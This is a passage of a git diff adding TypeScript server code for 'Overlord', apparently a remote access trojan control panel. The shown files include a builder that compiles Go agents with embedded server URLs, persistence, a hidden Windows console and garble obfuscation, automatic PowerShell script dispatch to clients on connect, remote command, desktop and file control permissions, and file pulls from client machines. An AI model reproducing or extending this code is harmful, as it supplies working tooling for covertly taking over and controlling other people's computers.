RateLimitEntry { + attempts: number; + firstAttempt: number; + lockedUntil?: number; +} + +const rateLimitStore = new Map(); + +const MAX_ATTEMPTS = 5; +const WINDOW_MS = 15 * 60 * 1000; +const LOCKOUT_MS = 30 * 60 * 1000; +const CLEANUP_INTERVAL = 60 * 1000; + +export function isRateLimited(ip: string): { + limited: boolean; + retryAfter?: number; +} { + const entry = rateLimitStore.get(ip); + + if (!entry) { + return { limited: false }; + } + + const now = Date.now(); + + if (entry.lockedUntil && entry.lockedUntil > now) { + const retryAfter = Math.ceil((entry.lockedUntil - now) / 1000); + return { limited: true, retryAfter }; + } + + if (now - entry.firstAttempt > WINDOW_MS) { + rateLimitStore.delete(ip); + return { limited: false }; + } + + if (entry.attempts >= MAX_ATTEMPTS) { + entry.lockedUntil = now + LOCKOUT_MS; + const retryAfter = Math.ceil(LOCKOUT_MS / 1000); + logger.warn( + `[rate-limit] IP ${ip} locked out for ${retryAfter}s after ${entry.attempts} failed attempts`, + ); + return { limited: true, retryAfter }; + } + + return { limited: false }; +} + +export function recordFailedAttempt(ip: string): void { + const now = Date.now(); + const entry = rateLimitStore.get(ip); + + if (!entry) { + rateLimitStore.set(ip, { + attempts: 1, + firstAttempt: now, + }); + return; + } + + if (now - entry.firstAttempt > WINDOW_MS) { + rateLimitStore.set(ip, { + attempts: 1, + firstAttempt: now, + }); + return; + } + + entry.attempts++; + logger.debug( + `[rate-limit] IP ${ip} failed attempt ${entry.attempts}/${MAX_ATTEMPTS}`, + ); +} + +export function recordSuccessfulAttempt(ip: string): void { + rateLimitStore.delete(ip); +} + +function cleanupExpired(): void { + const now = Date.now(); + let cleaned = 0; + + for (const [ip, entry] of rateLimitStore.entries()) { + const windowExpired = now - entry.firstAttempt > WINDOW_MS; + const lockoutExpired = entry.lockedUntil && entry.lockedUntil < now; + + if ((windowExpired && !entry.lockedUntil) || lockoutExpired) { + rateLimitStore.delete(ip); + cleaned++; + } + } + + if (cleaned > 0) { + logger.debug(`[rate-limit] Cleaned up ${cleaned} expired entries`); + } +} + +export function getRateLimitStats(): { total: number; locked: number } { + const now = Date.now(); + let locked = 0; + + for (const entry of rateLimitStore.values()) { + if (entry.lockedUntil && entry.lockedUntil > now) { + locked++; + } + } + + return { + total: rateLimitStore.size, + locked, + }; +} + +setInterval(cleanupExpired, CLEANUP_INTERVAL); + +logger.info( + `[rate-limit] Initialized: ${MAX_ATTEMPTS} attempts per ${WINDOW_MS / 60000} minutes, ${LOCKOUT_MS / 60000} minute lockout`, +); diff --git a/Overlord-Server/src/rbac.ts b/Overlord-Server/src/rbac.ts new file mode 100644 index 0000000..f62f8d8 --- /dev/null +++ b/Overlord-Server/src/rbac.ts @@ -0,0 +1,105 @@ +import { type AuthenticatedUser } from "./auth"; +import { hasPermission, type UserRole } from "./users"; + +export type Permission = + | "users:manage" + | "clients:control" + | "clients:view" + | "audit:view"; + +export function checkPermission( + user: AuthenticatedUser | null, + permission: Permission, +): boolean { + if (!user) return false; + return hasPermission(user.role, permission); +} + +export function checkAnyPermission( + user: AuthenticatedUser | null, + permissions: Permission[], +): boolean { + if (!user) return false; + return permissions.some((p) => hasPermission(user.role, p)); +} + +export function checkAllPermissions( + user: AuthenticatedUser | null, + permissions: Permission[], +): boolean { + if (!user) return false; + return permissions.every((p) => hasPermission(user.role, p)); +} + +export function requireAuth(user: AuthenticatedUser | null): AuthenticatedUser { + if (!user) { + throw new Response("Unauthorized", { status: 401 }); + } + return user; +} + +export function requirePermission( + user: AuthenticatedUser | null, + permission: Permission, +): AuthenticatedUser { + const authedUser = requireAuth(user); + + if (!checkPermission(authedUser, permission)) { + throw new Response("Forbidden: Insufficient permissions", { status: 403 }); + } + + return authedUser; +} + +export function requireAnyPermission( + user: AuthenticatedUser | null, + permissions: Permission[], +): AuthenticatedUser { + const authedUser = requireAuth(user); + + if (!checkAnyPermission(authedUser, permissions)) { + throw new Response("Forbidden: Insufficient permissions", { status: 403 }); + } + + return authedUser; +} + +export function getPermissionDescription(permission: Permission): string { + switch (permission) { + case "users:manage": + return "Manage users and roles"; + case "clients:control": + return "Control clients (execute commands, desktop, console, files)"; + case "clients:view": + return "View connected clients"; + case "audit:view": + return "View audit logs"; + default: + return "Unknown permission"; + } +} + +export function getRoleDescription(role: UserRole): string { + switch (role) { + case "admin": + return "Full access - can manage users and control all clients"; + case "operator": + return "Can control clients but cannot manage users"; + case "viewer": + return "Read-only access to view clients"; + default: + return "Unknown role"; + } +} + +export function getRolePermissions(role: UserRole): Permission[] { + const permissions: Permission[] = []; + + if (hasPermission(role, "users:manage")) permissions.push("users:manage"); + if (hasPermission(role, "clients:control")) + permissions.push("clients:control"); + if (hasPermission(role, "clients:view")) permissions.push("clients:view"); + if (hasPermission(role, "audit:view")) permissions.push("audit:view"); + + return permissions; +} diff --git a/Overlord-Server/src/server/agent-auth.ts b/Overlord-Server/src/server/agent-auth.ts new file mode 100644 index 0000000..702fe64 --- /dev/null +++ b/Overlord-Server/src/server/agent-auth.ts @@ -0,0 +1,33 @@ +import { logger } from "../logger"; + +export function isAuthorizedAgentRequest( + req: Request, + url: URL, + agentToken?: string, +): boolean { + const disableAuth = + String(process.env.OVERLORD_DISABLE_AGENT_AUTH || "").toLowerCase() === + "true"; + if (disableAuth) { + logger.info("[auth] Agent auth explicitly disabled by OVERLORD_DISABLE_AGENT_AUTH=true"); + return true; + } + + const token = agentToken?.trim(); + if (!token) { + logger.info("[auth] Agent auth disabled"); + return true; + } + + const headerToken = req.headers.get("x-agent-token"); + const queryToken = url.searchParams.get("token"); + const isAuthed = headerToken === token || queryToken === token; + + if (!isAuthed) { + logger.info("[auth] Agent auth failed"); + } else { + logger.info("[auth] Agent authenticated successfully"); + } + + return isAuthed; +} diff --git a/Overlord-Server/src/server/auto-script-dispatch.ts b/Overlord-Server/src/server/auto-script-dispatch.ts new file mode 100644 index 0000000..ff09080 --- /dev/null +++ b/Overlord-Server/src/server/auto-script-dispatch.ts @@ -0,0 +1,79 @@ +import type { ServerWebSocket } from "bun"; +import { v4 as uuidv4 } from "uuid"; +import { hasAutoScriptRun, getAutoScriptsByTrigger, recordAutoScriptRun } from "../db"; +import { logger } from "../logger"; +import { metrics } from "../metrics"; +import { encodeMessage } from "../protocol"; +import type { SocketData } from "../sessions/types"; +import type { ClientInfo } from "../types"; +import { logAudit, AuditAction } from "../auditLog"; +import { ALLOWED_SCRIPT_TYPES } from "./validation-constants"; + +export function dispatchAutoScriptsForConnection( + info: ClientInfo, + ws: ServerWebSocket, +): void { + if (info.role !== "client") return; + if (ws.data?.autoTasksRan) return; + + const isNewClient = ws.data?.wasKnown === false; + const onConnect = getAutoScriptsByTrigger("on_connect"); + const onFirst = isNewClient ? getAutoScriptsByTrigger("on_first_connect") : []; + const onConnectOnce = getAutoScriptsByTrigger("on_connect_once"); + const scripts = [...onConnect, ...onFirst, ...onConnectOnce]; + + if (scripts.length === 0) { + ws.data.autoTasksRan = true; + return; + } + + for (const script of scripts) { + if (script.trigger === "on_connect_once") { + if (hasAutoScriptRun(script.id, info.id)) { + continue; + } + recordAutoScriptRun(script.id, info.id); + } + + const scriptType = ALLOWED_SCRIPT_TYPES.has(script.scriptType) + ? script.scriptType + : "powershell"; + const cmdId = uuidv4(); + + try { + info.ws.send( + encodeMessage({ + type: "command", + commandType: "script_exec" as any, + id: cmdId, + payload: { script: script.script, type: scriptType }, + }), + ); + metrics.recordCommand("script_exec"); + logAudit({ + timestamp: Date.now(), + username: "system", + ip: "server", + action: AuditAction.SCRIPT_EXECUTE, + targetClientId: info.id, + success: true, + details: `auto:${script.name} (${scriptType}) trigger=${script.trigger}`, + }); + logger.info(`[auto-script] dispatched ${script.id} (${script.trigger}) to ${info.id}`); + } catch (err) { + logger.warn(`[auto-script] failed to dispatch ${script.id} to ${info.id}`, err); + logAudit({ + timestamp: Date.now(), + username: "system", + ip: "server", + action: AuditAction.SCRIPT_EXECUTE, + targetClientId: info.id, + success: false, + details: `auto:${script.name} (${scriptType}) trigger=${script.trigger}`, + errorMessage: (err as Error)?.message || "send failed", + }); + } + } + + ws.data.autoTasksRan = true; +} diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts new file mode 100644 index 0000000..a40c0ba --- /dev/null +++ b/Overlord-Server/src/server/build-process.ts @@ -0,0 +1,267 @@ +import { $ } from "bun"; +import path from "path"; +import fs from "fs"; +import { saveBuild } from "../db"; +import { logger } from "../logger"; +import { getConfig } from "../config"; +import * as buildManager from "../build/buildManager"; +import type { BuildStream } from "../build/types"; +import { ALLOWED_PLATFORMS } from "./validation-constants"; +import { resolveRuntimeRoot } from "./runtime-paths"; + +type BuildProcessConfig = { + platforms: string[]; + serverUrl?: string; + rawServerList?: boolean; + mutex?: string; + disableMutex?: boolean; + stripDebug?: boolean; + disableCgo?: boolean; + obfuscate?: boolean; + enablePersistence?: boolean; + hideConsole?: boolean; + noPrinting?: boolean; +}; + +type BuildProcessDeps = { + generateBuildMutex: (length?: number) => string; + sanitizeOutputName: (name: string) => string; +}; + +export async function startBuildProcess( + buildId: string, + config: BuildProcessConfig, + deps: BuildProcessDeps, +): Promise { + const SEVEN_DAYS_MS = 7 * 24 * 60 * 60 * 1000; + const now = Date.now(); + + const build: BuildStream = { + id: buildId, + controllers: [], + status: "running", + startTime: now, + expiresAt: now + SEVEN_DAYS_MS, + files: [], + }; + + buildManager.addBuildStream(buildId, build); + + const sendToStream = (data: any) => { + const encoder = new TextEncoder(); + const message = `data: ${JSON.stringify(data)}\n\n`; + const encoded = encoder.encode(message); + + if (data.type === "output") { + logger.info(`[build:${buildId.substring(0, 8)}] ${data.text.trimEnd()}`); + } else if (data.type === "status") { + logger.info(`[build:${buildId.substring(0, 8)}] STATUS: ${data.text}`); + } else if (data.type === "error") { + logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`); + } + + build.controllers.forEach((controller) => { + try { + controller.enqueue(encoded); + } catch (err) { + logger.error("[build] Failed to send to stream:", err); + } + }); + }; + + try { + const serverConfig = getConfig(); + const buildAgentToken = (serverConfig.auth.agentToken || "").trim(); + + sendToStream({ type: "status", text: "Preparing build environment..." }); + + try { + const goCheck = await $`go version`.quiet(); + const goVersion = goCheck.stdout.toString().trim(); + logger.info(`[build:${buildId.substring(0, 8)}] Using ${goVersion}`); + sendToStream({ type: "output", text: `Using ${goVersion}\n`, level: "info" }); + } catch { + const errorMsg = "Go is not installed or not in PATH. Please install Go from https://golang.org/dl/ and ensure it's in your system PATH."; + logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg}`); + sendToStream({ type: "output", text: `ERROR: ${errorMsg}\n`, level: "error" }); + sendToStream({ type: "error", error: errorMsg }); + sendToStream({ type: "complete", success: false }); + build.status = "failed"; + return; + } + + const rootDir = resolveRuntimeRoot(); + const distClientDir = path.join(rootDir, "dist", "Overlord-Client"); + const clientDir = fs.existsSync(distClientDir) + ? distClientDir + : path.join(rootDir, "Overlord-Client"); + const outDir = path.join(rootDir, "dist-clients"); + + await Bun.$`mkdir -p ${outDir}`.quiet(); + sendToStream({ type: "output", text: `Build directory: ${outDir}\n`, level: "info" }); + + const platformsToBuild = (config.platforms || []).filter((p) => ALLOWED_PLATFORMS.has(p)); + if (platformsToBuild.length !== (config.platforms || []).length) { + throw new Error("One or more requested platforms are not allowed"); + } + + let buildMutex = ""; + if (!config.disableMutex) { + buildMutex = config.mutex || deps.generateBuildMutex(); + sendToStream({ type: "output", text: `Mutex: ${buildMutex}\n`, level: "info" }); + } else { + sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" }); + } + + for (const platform of platformsToBuild) { + const [os, arch, ...rest] = platform.split("-"); + const goarm = rest[0] === "armv7" ? "7" : undefined; + const actualArch = goarm ? "arm" : arch; + const outputName = deps.sanitizeOutputName( + platform.includes("windows") ? `agent-${platform}.exe` : `agent-${platform}`, + ); + + sendToStream({ type: "status", text: `Building ${platform}...` }); + sendToStream({ type: "output", text: `\n=== Building ${platform} ===\n`, level: "info" }); + + const env = { + ...process.env, + GOOS: os, + GOARCH: actualArch, + CGO_ENABLED: config.disableCgo !== false ? "0" : "1", + GOWORK: "off", + ...(goarm ? { GOARM: goarm } : {}), + }; + + let ldflags = config.stripDebug !== false ? "-s -w" : ""; + + if (config.serverUrl) { + const serverFlag = `-X overlord-client/cmd/agent/config.DefaultServerURL=${config.serverUrl}`; + ldflags = `${ldflags} ${serverFlag}`; + sendToStream({ type: "output", text: `Server URL: ${config.serverUrl}\n`, level: "info" }); + } + + if (config.rawServerList) { + const rawServerFlag = "-X overlord-client/cmd/agent/config.DefaultServerURLIsRaw=true"; + ldflags = ldflags ? `${ldflags} ${rawServerFlag}` : rawServerFlag; + sendToStream({ type: "output", text: "Raw server list: enabled\n", level: "info" }); + } + + if (buildMutex) { + const mutexFlag = `-X overlord-client/cmd/agent/config.DefaultMutex=${buildMutex}`; + ldflags = ldflags ? `${ldflags} ${mutexFlag}` : mutexFlag; + } + + if (config.enablePersistence) { + const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true"; + ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag; + sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" }); + } + + if (buildAgentToken) { + const agentTokenFlag = `-X overlord-client/cmd/agent/config.DefaultAgentToken=${buildAgentToken}`; + ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag; + } + + if (config.hideConsole && os === "windows") { + const hideConsoleFlag = "-H=windowsgui"; + ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag; + sendToStream({ type: "output", text: "Windows console hidden (GUI subsystem)\n", level: "info" }); + } + + if (config.obfuscate) { + sendToStream({ type: "output", text: "Obfuscation enabled (garble)\n", level: "info" }); + } + + if (config.noPrinting) { + sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" }); + } + + try { + const buildTool = config.obfuscate ? "garble" : "go"; + const tagArg = config.noPrinting ? "-tags noprint " : ""; + logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`); + logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED}`); + + const buildCmd = config.obfuscate + ? (config.noPrinting + ? (ldflags + ? $`garble build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` + : $`garble build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`) + : (ldflags + ? $`garble build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` + : $`garble build -o ${outDir}/${outputName} ./cmd/agent`)) + : (config.noPrinting + ? (ldflags + ? $`go build -tags noprint -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` + : $`go build -tags noprint -o ${outDir}/${outputName} ./cmd/agent`) + : (ldflags + ? $`go build -ldflags=${ldflags} -o ${outDir}/${outputName} ./cmd/agent` + : $`go build -o ${outDir}/${outputName} ./cmd/agent`)); + + const proc = buildCmd.env(env).cwd(clientDir).nothrow(); + + for await (const line of proc.lines()) { + sendToStream({ type: "output", text: line + "\n", level: "info" }); + } + + const result = await proc; + logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`); + + if (result.exitCode !== 0) { + const stderrText = result.stderr.toString(); + if (stderrText) { + sendToStream({ type: "output", text: stderrText, level: "error" }); + } + const errorMsg = `Build failed with exit code ${result.exitCode}\n`; + sendToStream({ type: "output", text: errorMsg, level: "error" }); + throw new Error(`Build failed for ${platform}`); + } + + const filePath = `${outDir}/${outputName}`; + const file = Bun.file(filePath); + const size = file.size; + + (build.files as any[]).push({ + name: outputName, + filename: outputName, + platform, + size, + }); + } catch (err: any) { + const errorMsg = `Γ£ù Failed to build ${platform}: ${err.message || err}\n`; + logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`); + sendToStream({ type: "output", text: errorMsg, level: "error" }); + throw err; + } + } + + build.status = "completed"; + logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`); + sendToStream({ type: "output", text: `\nΓ£ô Build completed successfully!\n`, level: "success" }); + sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt }); + + saveBuild({ + id: build.id, + status: build.status, + startTime: build.startTime, + expiresAt: build.expiresAt, + files: build.files as any, + }); + + setTimeout(() => { + logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`); + buildManager.deleteBuildStream(buildId); + }, SEVEN_DAYS_MS); + } catch (err: any) { + build.status = "failed"; + logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err); + sendToStream({ type: "error", error: err.message || String(err) }); + sendToStream({ type: "complete", success: false, buildId }); + + setTimeout(() => { + logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up failed build stream`); + buildManager.deleteBuildStream(buildId); + }, 60 * 60 * 1000); + } +} diff --git a/Overlord-Server/src/server/build-utils.ts b/Overlord-Server/src/server/build-utils.ts new file mode 100644 index 0000000..b2e9e85 --- /dev/null +++ b/Overlord-Server/src/server/build-utils.ts @@ -0,0 +1,30 @@ +import path from "path"; + +const MUTEX_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-"; + +export function generateBuildMutex(length = 24): string { + const bytes = new Uint8Array(length); + crypto.getRandomValues(bytes); + return Array.from(bytes) + .map((b) => MUTEX_CHARS[b % MUTEX_CHARS.length]) + .join(""); +} + +export function sanitizeMutex(value?: string): string | undefined { + if (!value) return undefined; + const trimmed = value.trim(); + if (!trimmed) return undefined; + if (!/^[A-Za-z0-9._-]{1,64}$/.test(trimmed)) { + throw new Error("Mutex must be 1-64 chars using letters, numbers, '.', '_' or '-' only"); + } + return trimmed; +} + +export function sanitizeOutputName(name: string): string { + const base = path.basename(name); + const cleaned = base.replace(/[^A-Za-z0-9._-]/g, ""); + if (!cleaned || cleaned !== base) { + throw new Error("Invalid output filename"); + } + return cleaned; +} diff --git a/Overlord-Server/src/server/deploy-utils.ts b/Overlord-Server/src/server/deploy-utils.ts new file mode 100644 index 0000000..a90170d --- /dev/null +++ b/Overlord-Server/src/server/deploy-utils.ts @@ -0,0 +1,44 @@ +export type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown"; + +export function normalizeClientOs(os?: string): DeployOs { + const val = String(os || "").toLowerCase(); + if (val.includes("windows")) return "windows"; + if (val.includes("darwin") || val.includes("mac")) return "mac"; + if (val.includes("linux")) return "linux"; + return "unknown"; +} + +export function detectUploadOs(filename: string, bytes: Uint8Array): DeployOs { + const lower = filename.toLowerCase(); + if (lower.endsWith(".exe") || lower.endsWith(".msi") || lower.endsWith(".bat") || lower.endsWith(".cmd") || lower.endsWith(".ps1")) { + return "windows"; + } + if (lower.endsWith(".dmg") || lower.endsWith(".pkg") || lower.endsWith(".app")) { + return "mac"; + } + if (lower.endsWith(".sh")) { + return "unix"; + } + if (lower.endsWith(".run")) { + return "linux"; + } + + if (bytes.length >= 4) { + const b0 = bytes[0]; + const b1 = bytes[1]; + const b2 = bytes[2]; + const b3 = bytes[3]; + if (b0 === 0x4d && b1 === 0x5a) return "windows"; + if (b0 === 0x7f && b1 === 0x45 && b2 === 0x4c && b3 === 0x46) return "linux"; + const magic = (b0 << 24) | (b1 << 16) | (b2 << 8) | b3; + if (magic === 0xfeedface || magic === 0xfeedfacf || magic === 0xcefaedfe || magic === 0xcafebabe) { + return "mac"; + } + } + + if (bytes.length >= 2 && bytes[0] === 0x23 && bytes[1] === 0x21) { + return "unix"; + } + + return "unknown"; +} diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts new file mode 100644 index 0000000..4308ee6 --- /dev/null +++ b/Overlord-Server/src/server/http-dispatch.ts @@ -0,0 +1,141 @@ +type MaybeResponse = Response | null; + +type RouteHandler = (req: Request, url: URL) => Promise; +type RouteHandlerWithServer = ( + req: Request, + url: URL, + server: TServer, +) => Promise; +type RouteHandlerWithServerDeps = ( + req: Request, + url: URL, + server: TServer, + deps: TDeps, +) => Promise; +type RouteHandlerWithDeps = ( + req: Request, + url: URL, + deps: TDeps, +) => Promise; + +type HttpDispatchDeps< + TServer, + TNotificationsConfig, + TBuild, + TDeploy, + TFileDownload, + TPlugin, + TMisc, + TAssets, + TPage, + TClient, + TWsUpgrade, +> = { + metrics: { withHttpMetrics: (fn: () => Promise) => Promise }; + CORS_HEADERS: Record; + handleAuthRoutes: RouteHandlerWithServer; + handleNotificationsConfigRoutes: RouteHandlerWithServerDeps; + handleAutoScriptsRoutes: RouteHandler; + handleUsersRoutes: RouteHandlerWithServer; + handleBuildRoutes: RouteHandlerWithServerDeps; + handleDeployRoutes: RouteHandlerWithServerDeps; + handleFileDownloadRoutes: RouteHandlerWithServerDeps; + handlePluginRoutes: RouteHandlerWithDeps; + handleMiscRoutes: RouteHandlerWithDeps; + handleAssetsRoutes: RouteHandlerWithDeps; + handlePageRoutes: RouteHandlerWithDeps; + handleClientRoutes: RouteHandlerWithServerDeps; + handleWsUpgradeRoutes: RouteHandlerWithServerDeps; + routeDeps: { + notificationsConfig: TNotificationsConfig; + build: TBuild; + deploy: TDeploy; + fileDownload: TFileDownload; + plugin: TPlugin; + misc: TMisc; + assets: TAssets; + page: TPage; + client: TClient; + wsUpgrade: TWsUpgrade; + }; +}; + +export function createHttpFetchHandler< + TServer, + TNotificationsConfig, + TBuild, + TDeploy, + TFileDownload, + TPlugin, + TMisc, + TAssets, + TPage, + TClient, + TWsUpgrade, +>( + deps: HttpDispatchDeps< + TServer, + TNotificationsConfig, + TBuild, + TDeploy, + TFileDownload, + TPlugin, + TMisc, + TAssets, + TPage, + TClient, + TWsUpgrade + >, +) { + return async function fetchHandler(req: Request, server: unknown): Promise { + return deps.metrics.withHttpMetrics(async () => { + const routeServer = server as TServer; + const url = new URL(req.url); + + if (req.method === "OPTIONS") { + return new Response("", { headers: deps.CORS_HEADERS }); + } + + const authRouteResponse = await deps.handleAuthRoutes(req, url, routeServer); + if (authRouteResponse) return authRouteResponse; + + const notificationsConfigResponse = await deps.handleNotificationsConfigRoutes(req, url, routeServer, deps.routeDeps.notificationsConfig); + if (notificationsConfigResponse) return notificationsConfigResponse; + + const autoScriptsResponse = await deps.handleAutoScriptsRoutes(req, url); + if (autoScriptsResponse) return autoScriptsResponse; + + const usersResponse = await deps.handleUsersRoutes(req, url, routeServer); + if (usersResponse) return usersResponse; + + const buildResponse = await deps.handleBuildRoutes(req, url, routeServer, deps.routeDeps.build); + if (buildResponse) return buildResponse; + + const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy); + if (deployResponse) return deployResponse; + + const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload); + if (fileDownloadResponse) return fileDownloadResponse; + + const pluginResponse = await deps.handlePluginRoutes(req, url, deps.routeDeps.plugin); + if (pluginResponse) return pluginResponse; + + const miscResponse = await deps.handleMiscRoutes(req, url, deps.routeDeps.misc); + if (miscResponse) return miscResponse; + + const assetsResponse = await deps.handleAssetsRoutes(req, url, deps.routeDeps.assets); + if (assetsResponse) return assetsResponse; + + const pageResponse = await deps.handlePageRoutes(req, url, deps.routeDeps.page); + if (pageResponse) return pageResponse; + + const clientRouteResponse = await deps.handleClientRoutes(req, url, routeServer, deps.routeDeps.client); + if (clientRouteResponse) return clientRouteResponse; + + const wsUpgradeResponse = await deps.handleWsUpgradeRoutes(req, url, routeServer, deps.routeDeps.wsUpgrade); + if (wsUpgradeResponse) return wsUpgradeResponse; + + return new Response("Not found", { status: 404 }); + }); + }; +} diff --git a/Overlord-Server/src/server/http-download-consumer.ts b/Overlord-Server/src/server/http-download-consumer.ts new file mode 100644 index 0000000..f015afc --- /dev/null +++ b/Overlord-Server/src/server/http-download-consumer.ts @@ -0,0 +1,160 @@ +import fs from "fs/promises"; +import type { FileHandle } from "fs/promises"; +import { logger } from "../logger"; + +export type PendingHttpDownload = { + commandId: string; + clientId: string; + path: string; + fileName: string; + total: number; + receivedBytes: number; + receivedOffsets: Set; + receivedChunks: Set; + chunkSize: number; + expectedChunks: number; + loggedTotal?: boolean; + loggedFirstChunk?: boolean; + tmpPath: string; + fileHandle: FileHandle; + resolve: (entry: PendingHttpDownload) => void; + reject: (error: Error) => void; + timeout: ReturnType; +}; + +export async function consumeHttpDownloadPayload( + payload: any, + pendingHttpDownloads: Map, +): Promise { + const commandId = typeof payload?.commandId === "string" ? payload.commandId : ""; + if (!commandId) return; + + const pending = pendingHttpDownloads.get(commandId); + if (!pending) return; + + if (payload?.error) { + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + try { + await pending.fileHandle.close(); + } catch {} + try { + await fs.unlink(pending.tmpPath); + } catch {} + pending.reject(new Error(String(payload.error))); + return; + } + + const toNumber = (value: unknown): number | null => { + if (typeof value === "number" && Number.isFinite(value)) return value; + if (typeof value === "bigint") { + const asNumber = Number(value); + if (Number.isSafeInteger(asNumber)) return asNumber; + } + return null; + }; + + const rawTotal = payload?.total; + if (!pending.total) { + const total = toNumber(rawTotal); + if (total && total > 0) { + pending.total = total; + } + } + if (pending.total > 0 && !pending.loggedTotal) { + pending.loggedTotal = true; + logger.debug("[filebrowser] http download total", { + commandId, + total: pending.total, + rawTotalType: typeof rawTotal, + }); + } + + if (payload?.data) { + let data = payload.data; + if (data instanceof ArrayBuffer) { + data = new Uint8Array(data); + } else if (typeof data === "string") { + data = Uint8Array.from(atob(data), (c) => c.charCodeAt(0)); + } else if (ArrayBuffer.isView(data)) { + data = new Uint8Array(data.buffer, data.byteOffset, data.byteLength); + } + + if (data instanceof Uint8Array) { + const offset = toNumber(payload?.offset); + const chunkIndex = toNumber(payload?.chunkIndex); + const chunksTotal = toNumber(payload?.chunksTotal); + + if (offset === null) { + logger.debug("[filebrowser] http download missing offset", { + commandId, + rawOffsetType: typeof payload?.offset, + }); + } + + if (!pending.chunkSize && data.length > 0) { + pending.chunkSize = data.length; + } + if (pending.expectedChunks === 0) { + if (chunksTotal && chunksTotal > 0) { + pending.expectedChunks = chunksTotal; + } else if (pending.total > 0 && pending.chunkSize > 0) { + pending.expectedChunks = Math.ceil(pending.total / pending.chunkSize); + } + } + + if (!pending.loggedFirstChunk) { + pending.loggedFirstChunk = true; + logger.debug("[filebrowser] http download first chunk", { + commandId, + size: data.length, + offset, + chunkIndex, + chunksTotal, + expectedChunks: pending.expectedChunks, + }); + } + + const shouldWrite = chunkIndex !== null + ? !pending.receivedChunks.has(chunkIndex) + : !pending.receivedOffsets.has(offset ?? 0); + + if (shouldWrite) { + try { + await pending.fileHandle.write(data, 0, data.length, offset ?? 0); + } catch (err) { + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + try { + await pending.fileHandle.close(); + } catch {} + try { + await fs.unlink(pending.tmpPath); + } catch {} + pending.reject(err as Error); + return; + } + if (chunkIndex !== null) { + pending.receivedChunks.add(chunkIndex); + } else { + pending.receivedOffsets.add(offset ?? 0); + } + pending.receivedBytes += data.length; + } + } + } + + const receivedChunkCount = pending.receivedChunks.size + pending.receivedOffsets.size; + const hasAllChunks = pending.expectedChunks > 0 + ? receivedChunkCount >= pending.expectedChunks + : pending.total > 0 && pending.receivedBytes >= pending.total; + + if ((pending.total > 0 ? pending.receivedBytes >= pending.total : hasAllChunks && pending.receivedBytes > 0) && hasAllChunks) { + clearTimeout(pending.timeout); + pendingHttpDownloads.delete(commandId); + try { + await pending.fileHandle.close(); + } catch {} + pending.resolve(pending); + } +} diff --git a/Overlord-Server/src/server/http-security.ts b/Overlord-Server/src/server/http-security.ts new file mode 100644 index 0000000..b33b2ed --- /dev/null +++ b/Overlord-Server/src/server/http-security.ts @@ -0,0 +1,13 @@ +export const CORS_HEADERS = { + "Access-Control-Allow-Origin": "*", + "Access-Control-Allow-Methods": "GET,OPTIONS", + "Access-Control-Allow-Headers": "Content-Type", +}; + +export const SECURITY_HEADERS = { + "Content-Security-Policy": "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://unpkg.com; style-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.googleapis.com; img-src 'self' data: blob: https://cdn.jsdelivr.net https://a.tile.openstreetmap.org https://b.tile.openstreetmap.org https://c.tile.openstreetmap.org https://tile.openstreetmap.org https://a.basemaps.cartocdn.com https://b.basemaps.cartocdn.com https://c.basemaps.cartocdn.com https://d.basemaps.cartocdn.com; font-src 'self' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.gstatic.com; connect-src 'self' wss: ws: https://cdn.jsdelivr.net", + "X-Content-Type-Options": "nosniff", + "X-Frame-Options": "DENY", + "X-XSS-Protection": "1; mode=block", + "Referrer-Policy": "strict-origin-when-cross-origin", +}; diff --git a/Overlord-Server/src/server/http-utils.ts b/Overlord-Server/src/server/http-utils.ts new file mode 100644 index 0000000..5b63f51 --- /dev/null +++ b/Overlord-Server/src/server/http-utils.ts @@ -0,0 +1,27 @@ +import { SECURITY_HEADERS } from "./http-security"; + +export function secureHeaders(contentType?: string) { + return { + ...SECURITY_HEADERS, + ...(contentType ? { "Content-Type": contentType } : {}), + }; +} + +export function securePluginHeaders() { + return { + ...SECURITY_HEADERS, + "X-Frame-Options": "SAMEORIGIN", + "Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 